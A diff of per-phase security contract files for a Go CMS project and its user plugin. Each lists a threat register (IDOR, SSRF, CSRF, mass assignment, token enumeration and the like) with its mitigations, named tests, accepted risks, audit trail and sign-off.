|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-12-01 | Information Disclosure | collections/{id}, photos/{fileId}, image | high | mitigate | `findAccessibleCollection` scopes with `classes.AccessibleBy`; file lookups scoped to the collection's attachments; one 404 body. `TestPhase12Threats/T-12-01`, RC-01 | closed |
|
||||
| T-12-02 | Information Disclosure | albums/search items and meta.total | high | mitigate | `album_search.go` re-gates every engine id with `ScopedAlbums`; SQL fallback on engine error. `TestSearchLeak`, RC-02, RC-04 | closed |
|
||||
| T-12-03 | Elevation of Privilege | personal token pin | high | mitigate | `AccessibleBy` narrows to `tokenCollectionPin`; `Resolve` needs exactly one pinned id; `SwitchTo` refuses tokens. `TestPhase12Threats/T-12-03`, RC-05 | closed |
|
||||
| T-12-04 | Elevation of Privilege | owner-only interactive routes on the token group | high | mitigate | switch, share, me/context, realtime/channels, sync, missing on the JWT group only; in-handler token refusal. `TestRouteTablePhase12`, RC-07 | closed |
|
||||
| T-12-05 | Elevation of Privilege | editor acting as owner | high | mitigate | `c.OwnerID != user.ID` checks on destroy, image upload/delete, share. `TestPhase12Threats/T-12-05`, RC-10 | closed |
|
||||
| T-12-06 | Spoofing | invitation accept | high | mitigate | sha256 lookup `FOR UPDATE`; pending, unexpired, unrevoked, exact e-mail match else 410; resend rotates. `TestPhase12Threats/T-12-06`, RC-12, RC-13 | closed |
|
||||
| T-12-07 | Information Disclosure | raw token in river_job.args, summer_jobs and logs | high | mitigate | `lagoon.Encrypted` ciphertext in job args via `Enqueue`; nothing logs args, token or URL. `TestPhase12Threats/T-12-07`, RC-14 | closed |
|
||||
| T-12-08 | Spoofing | share token | high | mitigate | `crypto/rand`, 62-symbol alphabet, rejection at 248, unique retry, `FOR UPDATE`. `TestPhase12Threats/T-12-08`, RC-15 | closed |
|
||||
| T-12-09 | Tampering / Information Disclosure | cover_urls and cover_url fetches (SSRF) | high | mitigate | fetchguard `PublicOnly` (manual) and `AllowHosts` `.discogs.com` (import): https only, dial-time private refusal, no redirects, byte cap, timeout, after commit. `TestPhase12Threats/T-12-09`, RC-16 | closed |
|
||||
| T-12-10 | Tampering / Denial of Service | photo upload | high | mitigate | Body cap, `max:10240`, `IsAllowedImage` sniff plus `DecodeConfig`, `throttle:20,1`. `TestPhase12Threats/T-12-10`, RC-17 | closed |
|
||||
| T-12-11 | Tampering | mass assignment on albums and bulk | high | mitigate | `AlbumFillFields` plus per-field setter; server-set `collection_id`. `FuzzWriteEndpoints`, RC-18 | closed |
|
||||
| T-12-12 | Tampering | concurrent resolve provisioning | medium | mitigate | `users` row `FOR UPDATE` before the context row; unique `user_id`. `TestPhase12Threats/T-12-12`, `TestResolveProvisionsOnce` | closed |
|
||||
| T-12-13 | Elevation of Privilege | realtime/channels raw id | low | accept | See Accepted Risks Log AR-12-01 | closed |
|
||||
| T-12-14 | Tampering | lagoon `exists:` and regex rules | high | mitigate | `ParseRules` checks `identName` at registration; bound values; code-only RE2 regexes. `TestValidateRequestParseRules`, RC-20 | closed |
|
||||
| T-12-15 | Denial of Service | wildcard expansion and size rules | medium | mitigate | Expansion bounded by the surf-capped body; linear size counts; RE2. `TestPhase12Threats/T-12-15` | closed |
|
||||
| T-12-16 | Denial of Service | webp/png/jpeg decode in Thumb and DecodeConfig | medium | mitigate | `attach.File.Thumb` caps decode at 4096x4096 and serves `BrokenImagePNG` for an unusable original (fixed in 12-05, `1307060`). `TestThumbBrokenSourceServesPlaceholder`, `TestPhase12Threats/T-12-16` | closed |
|
||||
| T-12-17 | Information Disclosure | tide multipart part files | medium | mitigate | Part files are sha256-pinned test images; `check_corpus --check-secrets`. `TestPhase12Threats/T-12-17` | closed |
|
||||
| T-12-18 | Elevation of Privilege | user groups table | medium | mitigate | No route writes `users_groups`; `User.Groups` is `json:"-"`; site-admin predicate server-side. `TestPhase12Threats/T-12-18` | closed |
|
||||
| T-12-19 | Information Disclosure | Winter error pages | low | mitigate | Embedded `APP_DEBUG=false` bytes, only the stylesheet origin templated. `TestPhase12Threats/T-12-19` | closed |
|
||||
| T-12-20 | Information Disclosure | committed flow fixtures | high | mitigate | Tokens only as `{{secret:invite}}`; `check_corpus --check-secrets` fails on 64-hex. `TestCheckCorpusInvitationToken`, RC-21 | closed |
|
||||
| T-12-21 | Denial of Service | invite and resend mail flooding | medium | mitigate | `throttle:10,1` on store and resend; one pending row per (collection, e-mail). `TestPhase12Threats/T-12-21` | closed |
|
||||
| T-12-22 | Tampering | accept joining the inviter's organisation | medium | mitigate | Only an org-less invitee joins, as member, inside the accept tx. `TestPhase12Threats/T-12-22` | closed |
|
||||
| T-12-23 | Information Disclosure | album_added notifications and broadcasts | medium | mitigate | Recipients are owner and editors minus the actor; kind=collection channel only; after commit. `TestPhase12Threats/T-12-23` | closed |
|
||||
| T-12-24 | Denial of Service | search recount and bulk size | medium | mitigate | Recount capped at 1000 ids in pages of 250; body cap; `max_covers`. `TestSearchLeak/cap`, `TestPhase12Threats/T-12-24` | closed |
|
||||
| T-12-25 | Tampering | gate --removal leaving mutated source | medium | mitigate | Dirty-file refusal, anchor-exact mutation, `cmp` restore. `check-phase12.sh --self-test` | closed |
|
||||
| T-12-26 | Repudiation | security review claims without evidence | medium | mitigate | `check-phase12.sh --evidence` refuses unbacked claims. `--evidence`, `--self-test` | closed |
|
||||
| T-12-27 | Information Disclosure | fuzz seed corpus | low | mitigate | Synthetic seeds; gate scans `testdata/fuzz` for secrets. `--parity`, `--self-test`, RC-25 | closed |
|
||||
| T-12-28 | Information Disclosure | beachcomber SearchPage found count | high | mitigate | `found` only sizes the SQL recount (D-19). `TestSearchLeak`, RC-03 | closed |
|
||||
| T-12-29 | Denial of Service | collection photo/image upload | medium | mitigate | Body cap, `max:10240`, image and mimes sniff before the blob write. `TestPhase12Threats/T-12-29` | closed |
|
||||
| T-12-30 | Tampering | mass assignment on collections | high | mitigate | `CollectionFillFields` = name, description; `owner_id`, `kind`, share columns server-set. `FuzzWriteEndpoints`, RC-19 | closed |
|
||||
| T-12-31 | Elevation of Privilege | household routes under a personal token | high | mitigate | JWT group only; `assertInvitationOwner` refuses a token. `TestRouteTablePhase12`, `TestPhase12Threats/T-12-31`, RC-08, RC-09 | closed |
|
||||
| T-12-32 | Elevation of Privilege | editor managing members or invitations | high | mitigate | `ownerCollection` owner check before every household action. `TestPhase12Threats/T-12-32`, RC-11 | closed |
|
||||
| T-12-33 | Information Disclosure | albums/{id}, photos/{fileId}, rating | high | mitigate | `FindAccessibleAlbum` via `ScopedAlbums`; photo lookups on the album's attachments; one 404 body. `TestPhase12Threats/T-12-33`, RC-22, RC-23 | closed |
|
||||
| T-12-34 | Elevation of Privilege | token pin on albums, stats, value, search, lookups | high | mitigate | `Resolve` answers a token with its pin; `AlbumsAccessibleBy` narrows; sync and missing JWT only. `TestPhase12Threats/T-12-34`, RC-06 | closed |
|
||||
| T-12-SC | Tampering | Go module installs (golang.org/x/image v0.46.0) | high | mitigate | Official sub-repo, go.sum pinned, authorized by D-24; no other dependency in Phase 12 (Plans 12-02 to 12-05 accept: none added). `check-phase12.sh --go`, RC-24 | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-12-01 | T-12-13 | realtime/channels returns the raw collection id, matching PHP. The id is the caller's own resolved collection, is never accepted as a tenant selector on any write, and the collection authorizer re-validates membership on every subscribe. Residual: the channel name reveals the caller's own collection id. | Plan 12-02 threat model | 2026-10-02 |
|
||||
|
||||
*Accepted risks do not resurface in future audit runs.*
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-02 | 35 | 35 | 0 | msd-executor, plan 12-05 (`12-SECURITY-REVIEW.md`, 25 removal checks) |
|
||||
| 2026-10-12 | 35 | 35 | 0 | /msd-secure-phase 12 (L1: plan-time register, review evidence, every cited mitigation anchor re-grepped in the current tree of both repositories) |
|
||||
|
||||
## Security Audit 2026-10-12
|
||||
| Metric | Count |
|
||||
|--------|-------|
|
||||
| Threats found | 35 |
|
||||
| Closed | 35 |
|
||||
| Open | 0 |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
138
.planning/phases/12.1-user-plugin-admin-screens/12.1-SECURITY.md
Normal file
138
.planning/phases/12.1-user-plugin-admin-screens/12.1-SECURITY.md
Normal file
@@ -0,0 +1,138 @@
|
||||
---
|
||||
phase: "12.1"
|
||||
slug: "user-plugin-admin-screens"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
block_on: high
|
||||
register_authored_at_plan_time: true
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 12.1 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
The detailed evidence (production code, named tests, 27 removal checks, the T-12-18 write-path review, the D-30 boundary and five findings for decision) is in `12.1-SECURITY-REVIEW.md` (2026-10-05). This file is the contract summary; its register was re-checked against the tree on 2026-10-12, after phases 13 to 17 had landed.
|
||||
|
||||
Repositories: `summercms.go` (framework: `modules/cabana`, `admin/src`) and sm-user-plugin (mounted at `fonoteka.go/plugins/golem15/user`).
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Admin browser → admin API (bulk and record action routes, save bodies) | Untrusted ids, action names, field values, virtual values, permission maps and relation ids; cookie auth needs the CSRF header | admin input, privileged writes |
|
||||
| cabana → plugin hooks, actions and providers | The framework hands over only records loaded through the controller's scope and only validated values | records, virtual values |
|
||||
| Plugin code and partials → admin browser | Action labels, confirm texts, messages, row states and the status hint are rendered in the SPA | display text |
|
||||
| Admin with the users permission → frontend accounts, including privileged-group members | Activate, ban, password, email, delete; membership of a privileged group makes a site admin | credentials, privilege |
|
||||
| Backend admin → users_groups and user_groups codes | The user form's groups field and group codes decide who is a site admin | privilege |
|
||||
| User plugin → user API payloads | New model fields must not reach the Nuxt contract | PII, permissions, groups |
|
||||
| Plugin → mail transport | An admin-triggered invitation leaves the system | email |
|
||||
| Repositories → consumers (tag v0.1.3, shared plugin push) | A tag or push publishes the contract, migrations and permission codes | release |
|
||||
| Test evidence → release decision | The gate's result is what the phase is verified against | — |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-12.1-01 | Elevation of Privilege | bulk action ids (IDOR) | high | mitigate | `CRUDService.BulkAction` resolves ids with `lockScoped`, `partialSelection` 409 (`modules/cabana/crud.go`); RC-01, RC-02 | closed |
|
||||
| T-12.1-02 | Elevation of Privilege | undeclared action or action without its permission | high | mitigate | `bulkActionOf`, `recordActionOf`, `allowAction` (`modules/cabana/actions.go`); per-principal schema filtering; RC-03 | closed |
|
||||
| T-12.1-03 | Tampering | CSRF on the two new POST routes | high | mitigate | `requireAjax` on `bulk/{action}` and `{id}/actions/{action}` (`modules/cabana/http.go`); RC-04, RC-05 | closed |
|
||||
| T-12.1-04 | Elevation of Privilege | record action outside form scope or wrong state | high | mitigate | `RecordAction` uses `loadRecord` (form scope, row lock), `Applies` re-checked in the transaction; RC-06, RC-07 | closed |
|
||||
| T-12.1-05 | Tampering | half-applied bulk mutation | medium | mitigate | one transaction per bulk action; `TestBulkActionRollback` | closed |
|
||||
| T-12.1-06 | Information Disclosure | internal error text in 403/500 bodies | medium | mitigate | `actionFailure`, `lifecycleFailure` opaque 500; only `ForbiddenError`/`ValidationError` carry text | closed |
|
||||
| T-12.1-07 | Tampering | row state or label as markup/CSS class | low | mitigate | fixed state set on server (`ListMeta.RowStates`) and in the SPA; text interpolation | closed |
|
||||
| T-12.1-08 | Repudiation | actions leave no trace | low | mitigate | one `slog.Info` line per run | closed |
|
||||
| T-12.1-09 | Tampering | mass assignment through virtual or password fields | high | mitigate | `BindWritableFields` skips `FormVirtualFields`; `liftVirtualValues` honours context; RC-08, RC-09 | closed |
|
||||
| T-12.1-10 | Information Disclosure | password value in response, log or URL | high | mitigate | password field must be virtual (`checkVirtualFields`, `extension.go`); never projected; RC-10 | closed |
|
||||
| T-12.1-11 | Elevation of Privilege | protected FK written through a relation field | high | mitigate | `WritableForeignKey` opt-in plus scoped options query (`relation_field.go`); RC-11 | closed |
|
||||
| T-12.1-12 | Elevation of Privilege | locked relation ids changed by a crafted request | high | mitigate | `checkRelationLocks` before any row write on create and update; RC-12 | closed |
|
||||
| T-12.1-13 | Tampering | permission code injection or out-of-range value | high | mitigate | offered-code, mode-set and locked-code checks (`field_permission.go`); RC-13, RC-14 | closed |
|
||||
| T-12.1-14 | Tampering | preview-only field written by a crafted body | medium | mitigate | `contextAllows` excludes it from create/update binding; `TestPreviewFieldNeverWritten` | closed |
|
||||
| T-12.1-15 | Elevation of Privilege | script/markup through status hint or callout classes | medium | mitigate | partials served as an allowlisted node tree (`partial_render.go`); SPA builds elements from nodes | closed |
|
||||
| T-12.1-16 | Tampering | open redirect through `preview/:id` | medium | mitigate | `mapWinterUrl` (`admin/src/app/winterUrl.ts`): current controller only, digits only | closed |
|
||||
| T-12.1-17 | Tampering | unreviewed contract published by the tag | high | mitigate | blocking decision checkpoint (plan 02 Task 5); tag cut on a green head; NR-01 (process control) | closed |
|
||||
| T-12.1-18 | Elevation of Privilege | Users screens/actions without the users permission | high | mitigate | `RequiredPermissions` on the three controllers and every action; RC-15 | closed |
|
||||
| T-12.1-19 | Information Disclosure | hash, plain password or reset codes in admin responses | high | mitigate | virtual password fields; no secret column in YAML; response bodies scanned; RC-16 | closed |
|
||||
| T-12.1-20 | Tampering | mass assignment of is_activated, permissions, organisation_id | high | mitigate | protected fill keys; dedicated validated paths; `FormBeforeCreate` forces `is_activated` false; RC-17 | closed |
|
||||
| T-12.1-21 | Spoofing | tokens valid after admin password reset | medium | mitigate | `FormBeforeUpdate` stamps `tokens_valid_after`; `TestAdminUserPassword` | closed |
|
||||
| T-12.1-22 | Denial of Service | invitation mail abuse | low | mitigate | one mail per create, after commit, no bulk invite | closed |
|
||||
| T-12.1-23 | Tampering | permanent delete leaves orphans | medium | mitigate | `ForceDeleteCleanup` in the delete transaction; blobs after commit | closed |
|
||||
| T-12.1-24 | Information Disclosure | last_seen, permissions, timestamps, groups in user API | high | mitigate | `json:"-"` on `LastSeen`, `Permissions`, `Groups` (`models/user.go`); field-by-field payloads; RC-18, RC-27 | closed |
|
||||
| T-12.1-25 | Denial of Service | last_seen write on the auth path | low | mitigate | `classes.TouchLastSeen` at most once per five minutes, errors logged and ignored | closed |
|
||||
| T-12.1-26 | Elevation of Privilege | deactivated site admin re-enabled by restore/activate | medium | accept | see AR-01 | closed |
|
||||
| T-12.1-27 | Elevation of Privilege | wrong port of the permission merge | medium | mitigate | `classes.MergedPermissions`, `HasPermission`; `TestMergedPermissions` table | closed |
|
||||
| T-12.1-28 | Elevation of Privilege | privileged group added/removed via the groups field (T-12-18) | critical | mitigate | `AdminRelationLocks` plus framework `checkRelationLocks`; RC-19 | closed |
|
||||
| T-12.1-29 | Elevation of Privilege | create, re-code or delete a privileged group code | high | mitigate | `requirePrivilegedPermission` in the groups controller hooks; RC-20 | closed |
|
||||
| T-12.1-30 | Elevation of Privilege | second unguarded writer of users_groups | high | mitigate | no groups relation manager; actions pinned not to write the table; RC-21 | closed |
|
||||
| T-12.1-31 | Tampering | privileged list cached, mis-compared or NULL-bypassed | medium | mitigate | `classes/privileged.go`: read per call, case-sensitive, NULL never privileged | closed |
|
||||
| T-12.1-32 | Tampering | organisation members manager moves users | low | accept | see AR-02 | closed |
|
||||
| T-12.1-33 | Tampering | app pointer / plugin / framework published out of order | low | mitigate | no push in plans 03–05; ordering governed by T-12.1-40 | closed |
|
||||
| T-12.1-34 | Information Disclosure | group membership in user API payload | high | mitigate | `User.Groups` `json:"-"`; payload writes `groups` as an empty list; RC-22 | closed |
|
||||
| T-12.1-35 | Repudiation | gate passes without measuring | medium | mitigate | `detect` refuses failures, skips, zero tests, missing names; `--self-test` | closed |
|
||||
| T-12.1-36 | Information Disclosure | consuming-application name in framework files | low | mitigate | `check-phase12.1.sh --hygiene` name scan | closed |
|
||||
| T-12.1-37 | Tampering | mitigation silently removed later | medium | mitigate | `TestPhase121Threats` in both repos (present 2026-10-12), `--security`, removal harness | closed |
|
||||
| T-12.1-38 | Elevation of Privilege | takeover of a privileged-group member (email/password change) | critical | mitigate | `guardCredentials` at the top of `FormBeforeUpdate`, `classes.IsPrivilegedMember` in the write transaction (D-30); RC-23, RC-25 | closed |
|
||||
| T-12.1-39 | Tampering | permanent delete of a privileged-group member | high | mitigate | `guardPrivilegedMember` in `FormBeforeDelete`, per record in the bulk transaction; RC-24 | closed |
|
||||
| T-12.1-40 | Tampering | shared plugin published before review or before its framework tag | medium | mitigate | single push point after gate and review, only with v0.1.3 on origin; v0.1.3 is now on origin | closed |
|
||||
| T-12.1-SC | Tampering | npm/pip/cargo installs | high | mitigate | no manifest changed within the phase (diff against v0.1.3 at phase close); NR-02 | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-01 | T-12.1-26 | PHP behaves the same (the membership survives a soft delete); restore and activate need `golem15.users.access_users`. Deactivate and ban of a privileged member also stay at that permission (D-30 boundary); whether to guard them is open as FD-5 in `12.1-SECURITY-REVIEW.md`. | Owner, at plan 12.1-03 (RESEARCH T-12-18 path 8) | 2026-10-05 |
|
||||
| AR-02 | T-12.1-32 | PHP's add and remove behave the same; the routes need `golem15.users.access_users`, write only `organisation_id` and are scoped by the relation contract. `organisation_role` outliving the membership is FD-1. | Owner, at plan 12.1-04 (RESEARCH T-12-18 path 6) | 2026-10-05 |
|
||||
|
||||
*Accepted risks do not resurface in future audit runs.*
|
||||
|
||||
---
|
||||
|
||||
## Observations (non-blocking)
|
||||
|
||||
- **Gate drift, `scripts/check-phase12.1.sh --hygiene`.** On 2026-10-12 the stage refuses, for reasons that come from later phases, not from regressions of this register:
|
||||
- raw-HTML sinks added by phase 17 (`RichEditorField.vue` `v-html="display"`, `richeditor/html.ts` and `richeditor/lossy.ts` `innerHTML`). The stage allowlists only `MarkdownField.vue`. These sinks are covered by phase 17's register (T-17-10, T-17-32: server-sanitized HTML). T-12.1-15's own surface (partials as an allowlisted node tree) is unchanged.
|
||||
- `go.mod`, `go.sum`, `admin/package.json` and `admin/package-lock.json` changed since v0.1.3. These are later phases' dependency decisions; within phase 12.1 the manifests stayed the same (T-12.1-SC).
|
||||
- committed files in `modules/cabana` (`account_tokens.go`, `account_tokens_test.go`, `token_*_test.go`) are not gofmt-clean. They come from later token work, not this phase; the problem is formatting only.
|
||||
|
||||
Suggested follow-up: scope the 12.1 hygiene stage to the phase's own files and the tag window, or retire it in favour of later phase gates, and run `gofmt -w` on the token files.
|
||||
- **Findings for decision FD-1 to FD-5** in `12.1-SECURITY-REVIEW.md` remain the owner's to decide. None is an open threat of this register.
|
||||
- **sm-user-plugin** at `fonoteka.go/plugins/golem15/user` is one commit ahead of its origin (later phase work). It doesn't affect T-12.1-40, whose precondition (v0.1.3 on origin) now holds.
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-05 | 41 | 41 | 0 | gsd-executor, plan 12.1-05 (`12.1-SECURITY-REVIEW.md`, 27 removal checks) |
|
||||
| 2026-10-12 | 41 | 41 | 0 | /msd-secure-phase 12.1 (orchestrator, L1 grep re-check of every mitigation anchor in both repos; short-circuit: register authored at plan time, ASVS 1) |
|
||||
|
||||
## Security Audit 2026-10-12
|
||||
| Metric | Count |
|
||||
|--------|-------|
|
||||
| Threats found | 41 |
|
||||
| Closed | 41 |
|
||||
| Open | 0 |
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [x] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** verified 2026-10-12
|
||||
@@ -0,0 +1,133 @@
|
||||
---
|
||||
phase: "13"
|
||||
slug: "p-ytarium-api-wishlist-notifications-csv-credentials-public"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
threats_total: 37
|
||||
threats_closed: 37
|
||||
accepted_risks: 2
|
||||
asvs_level: 1
|
||||
block_on: high
|
||||
register_authored_at_plan_time: true
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 13 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
This file is the gate contract built from the six `<threat_model>` blocks and the SUMMARY `## Threat Flags` sections. No SUMMARY flags a threat outside its plan's register. `13-SECURITY-REVIEW.md` (2026-10-03, written by the 13-06 executor) has the per-threat findings, the named test evidence and the 31 removal checks (RC-01 to RC-31). T-13-SC appears in every plan and is counted once, with its strictest entry (13-04, medium, mitigate: the direct `golang.org/x/text` requirement). Framework paths are relative to `summercms.go/`. App paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| HTTP request path → surf dispatch | Untrusted path segments select the handler and its middleware chain of an overlapping route family | path segments |
|
||||
| Request write transaction → River queue | Queued jobs wait for Phase 14 workers; they must neither fail the write nor be lost | job args |
|
||||
| Recorded fixtures and goldens → tide comparison | Masks decide what the parity diff may ignore | dates, publication ids |
|
||||
| Isolated PHP SQLite → row goldens | The parity `rows` subcommand reads the parity database | test rows, share tokens |
|
||||
| Anonymous client → onboarding, invitation inspection and public share routes | Unauthenticated input creates the first owner, probes invitation tokens and resolves share tokens | e-mails, passwords (high), share and invitation tokens |
|
||||
| JWT client → notifications, credentials, wishlists, CSV imports | A user reaches only their own rows and peers' rows through visibility scopes; org writes need owner/admin | identifiers, field values |
|
||||
| Personal token → token-group wishlist routes | MCP clients reach only list/create/update/delete of the token owner's wishlist | wishlist album data |
|
||||
| Credential at rest → DB, responses and logs | API keys and Discogs tokens exist only as ciphertext | secrets (high) |
|
||||
| User plugin event → fonoteka listener | Register input crosses a plugin boundary | registration payload |
|
||||
| Reservation data → wishlist owner | The giver's identity stays hidden until reveal | reserver identity |
|
||||
| Uploaded CSV → parser and private storage | Up to 5 MiB of untrusted bytes are decoded, parsed and kept unserved | file contents |
|
||||
| Album data → exported CSV | Cells are opened in spreadsheets | formula-shaped strings |
|
||||
| Shared collection → public serializer | Private album fields must not reach the anonymous response | album fields |
|
||||
| Gate script and fuzz corpus → tracked source and git | `--removal` edits tracked files temporarily; seeds are committed | source, synthetic inputs |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-13-01 | Information Disclosure | token guessing / enumeration | high | mitigate | `classes/public_share.go` `PubfailCounter.Begin` (10 failures per address per 60 s), 16-symbol shape check, inline and per-token/per-IP buckets. `TestPhase13Threats/T-13-01`, `TestPubfailCounter`; RC-08, RC-09 | closed |
|
||||
| T-13-02 | Information Disclosure | public serializer and facets | high | mitigate | `classes/serialize_public_album.go` `PublicAlbumDTO`, rating filter 422, collection re-gate. `TestPhase13Threats/T-13-02`, `TestPublicAlbumFieldSet`; RC-20 | closed |
|
||||
| T-13-03 | Spoofing | disabled or regenerated share | high | mitigate | `classes/share_service.go` `ResolvePublic` requires `public_enabled = ?`, the route's kind and the current token. `TestPhase13Threats/T-13-03`, `TestPublicResolve`; RC-06. Residual: see Audit Note (WR-04) | closed |
|
||||
| T-13-04 | Elevation of Privilege | reserve, cancel, reveal | high | mitigate | `classes/reservations.go` owner refused, cancel `WHERE album_id = ? AND user_id = ?`, reveal through own wishlist. `TestPhase13Threats/T-13-04`, `TestReserveConcurrent`; RC-23 | closed |
|
||||
| T-13-05 | Information Disclosure | reservation mask in every serializer path | high | mitigate | `ReservationStateForViewer` masks the reserver for the owner before reveal. `TestPhase13Threats/T-13-05`, `TestReservationMask`; RC-05 | closed |
|
||||
| T-13-06 | Information Disclosure / Tampering | peer wishlists, subscriptions, wishlist album ids | high | mitigate | `ReservableWishlistIDs`, `WishlistsVisibleTo`, `ActiveWishlist`; identical Winter 404 for foreign and missing. `TestPhase13Threats/T-13-06`, `TestWishlistSubscriptions`; RC-24. Residual: see Audit Note (WR-04) | closed |
|
||||
| T-13-07 | Elevation of Privilege | token group | high | mitigate | `routes.go` mounts only wishlist CRUD and export on `/api/v1/fonoteka`, one `inv.scope` each. `TestRouteTablePhase13`, `TestPhase13Threats/T-13-07`; RC-22 | closed |
|
||||
| T-13-08 | Information Disclosure | credential responses, logs, marshal | high | mitigate | `lagoon.Encrypted` columns, `json:"-"` models, show selects provider/model/base_url only. `TestPhase13Threats/T-13-08`, `TestCredentialSecretsNeverSerialized`; RC-21 | closed |
|
||||
| T-13-09 | Elevation of Privilege | org credential store/destroy, Discogs shared | high | mitigate | `controllers/api/credentials_controller.go` `mayManageOrg` → 403 or `shared_forbidden`, nothing written. `TestPhase13Threats/T-13-09`, `TestCredentialsCRUD`; RC-25 | closed |
|
||||
| T-13-10 | Tampering | credential owner FK mass assignment | high | mitigate | `classes/credential_write_service.go` `CredentialFillFields`; owner keys from the session. `FuzzWriteEndpoints`, `TestPhase13Threats/T-13-10`; RC-15, RC-16 | closed |
|
||||
| T-13-11 | Tampering | base_url as SSRF target | medium | accept | Stored only (`nullable\|url`); Phase 14 owns the guarded outbound client (INTG-02). See Accepted Risks Log | closed |
|
||||
| T-13-12 | Elevation of Privilege | import routes by id | high | mitigate | `classes/csv_import_service.go` `CsvImportFor` (creator plus accessible collection). `TestPhase13Threats/T-13-12`, `TestCsvImportScope`; RC-13 | closed |
|
||||
| T-13-13 | Information Disclosure | CSV upload storage | high | mitigate | `controllers/api/csv_import_controller.go` `csvBucket(app)`: private bucket, server keys `fonoteka-csv/<uid>/<uuid>.csv`. `TestPhase13Threats/T-13-13`, `TestCsvStoreAndShow`; RC-26 | closed |
|
||||
| T-13-14 | Tampering | exported cells | medium | mitigate | `classes/csv` `FormulaSafe` on every exported cell; mid-stream failure logged since 13-06. `TestPhase13Threats/T-13-14`, `TestCsvExport`, `TestPHPFputcsv` | closed |
|
||||
| T-13-15 | Denial of Service | CSV parse | medium | mitigate | 5 MiB cap, `MaxRows` 5000, NUL rejection, `throttle:10,1`. `TestPhase13Threats/T-13-15`, `TestPhase13Boundaries` | closed |
|
||||
| T-13-16 | Tampering | row edit Discogs pick | high | mitigate | Candidate allow-list; Phase 13 `ReleaseFetcher` returns `ErrDiscogsUnavailable`. `TestPhase13Threats/T-13-16`, `TestCsvRowPickSeam`; RC-18 | closed |
|
||||
| T-13-17 | Tampering | double commit / double writer | high | mitigate | Commit compare-and-swap `WHERE id = ? AND status = ?`; since `ce4dd3a` (14-02, WR-02) mapping, row edits and cancel lock the import row (`clause.Locking{Strength: "UPDATE"}`) before writing. `TestPhase13Threats/T-13-17`, `TestCsvCommitCAS`; RC-14 | closed |
|
||||
| T-13-18 | Elevation of Privilege | onboarding bootstrap | high | mitigate | `classes/onboarding.go` `BootstrapOwner`: 409 when a user exists, advisory lock plus recount, unique e-mail. `TestPhase13Threats/T-13-18`, `TestBootstrapConcurrent`; RC-12 | closed |
|
||||
| T-13-19 | Spoofing | register listener invitation match | high | mitigate | `HandleRegisterEvent`: pending, unexpired, unrevoked, `LOWER(email) = ?`. `TestPhase13Threats/T-13-19`, `TestRegisterInvitationListener`; RC-27 | closed |
|
||||
| T-13-20 | Information Disclosure | RegisterEvent.Payload | high | mitigate | sm-user-plugin `FireRegisterEvent` deletes `password` and `password_confirmation`. `TestRegisterEventPayload`, `TestPhase13Threats/T-13-20`; RC-10, RC-11 | closed |
|
||||
| T-13-21 | Information Disclosure / Tampering | notifications read and mark-read | medium | mitigate | `classes/notifications.go` `WHERE user_id = ? AND id = ?`; zero rows → Winter 404. `TestPhase13Threats/T-13-21`, `TestNotificationsRoutes`; RC-17 | closed |
|
||||
